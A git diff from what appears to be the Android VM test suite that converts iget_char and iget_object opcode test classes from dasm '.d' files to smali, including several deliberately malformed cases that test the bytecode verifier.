diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali
new file mode 100644
index 0000000..20a13cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_6.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_char/TestStubs;-><init>()V
+
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/TestStubs;->TestStubField:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.d
deleted file mode 100644
index b2ca2ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_7.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_7no_class.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali
new file mode 100644
index 0000000..363060b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_7.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_7no_class;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.d
deleted file mode 100644
index 7a75de0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_8.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       iget-char v1, v2, dot.junit.opcodes.iget_char.d.T_iget_char_8.i1N C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali
new file mode 100644
index 0000000..1f49589
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_8.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       iget-char v1, v2, Ldot/junit/opcodes/iget_char/d/T_iget_char_8;->i1N:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.d
deleted file mode 100644
index 70eca20..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_char_9.java
-.class public dot.junit.opcodes.iget_char.d.T_iget_char_9
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       const v0, 0    
-       iget-char v1, v0, dot.junit.opcodes.iget_char.d.T_iget_char_9.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali
new file mode 100644
index 0000000..f940970
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_char/d/T_iget_char_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_char_9.java"
+.class  public Ldot/junit/opcodes/iget_char/d/T_iget_char_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       const v0, 0    
+       iget-char v1, v0, Ldot/junit/opcodes/iget_char/d/T_iget_char_9;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.d
deleted file mode 100644
index 5e4967f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_1.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_1
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-.field protected  p1 Ljava/lang/Object;
-.field private  pvt1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const v0, 0
-       iput-object v0, v1, dot.junit.opcodes.iget_object.d.T_iget_object_1.i1 Ljava/lang/Object;
-
-       const v0, 0
-       iput-object v0, v1, dot.junit.opcodes.iget_object.d.T_iget_object_1.p1 Ljava/lang/Object;
-
-       const v0, 0
-       iput-object v0, v1, dot.junit.opcodes.iget_object.d.T_iget_object_1.pvt1 Ljava/lang/Object;
-       
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_1.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.smali
new file mode 100644
index 0000000..ffa8cbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_1.smali
@@ -0,0 +1,57 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+.super Ljava/lang/Object;
+.source "T_iget_object_1.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+.field protected p1:Ljava/lang/Object;
+
+.field private pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const v0, 0x0
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->i1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->p1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->pvt1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.d
deleted file mode 100644
index 35a2de0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_11.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_11
-.super dot/junit/opcodes/iget_object/d/T_iget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/d/T_iget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_1.p1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali
new file mode 100644
index 0000000..abcb9bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_11.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_11;
+.super  Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->p1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.d
deleted file mode 100644
index b2d7400..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_12.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_12
-.super dot/junit/opcodes/iget_object/d/T_iget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/d/T_iget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_1.pvt1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali
new file mode 100644
index 0000000..2a9c908
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_12.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_12;
+.super  Ldot/junit/opcodes/iget_object/d/T_iget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_1;->pvt1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.d
deleted file mode 100644
index 21414cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_13.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_13.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali
new file mode 100644
index 0000000..107927f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_13.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_13;->i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.d
deleted file mode 100644
index df2581c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_14.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_14
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_14.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali
new file mode 100644
index 0000000..9d66de3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_14.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_14;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_14;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.d
deleted file mode 100644
index 313ec7c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_15.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_15
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali
new file mode 100644
index 0000000..4a1e1d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_15.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.d
deleted file mode 100644
index d9df4aa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_16.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali
new file mode 100644
index 0000000..b346f3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_16.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.d
deleted file mode 100644
index 82cb90e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_17.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_17
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_17.i1 B
-       return-void
-.end method
-
-
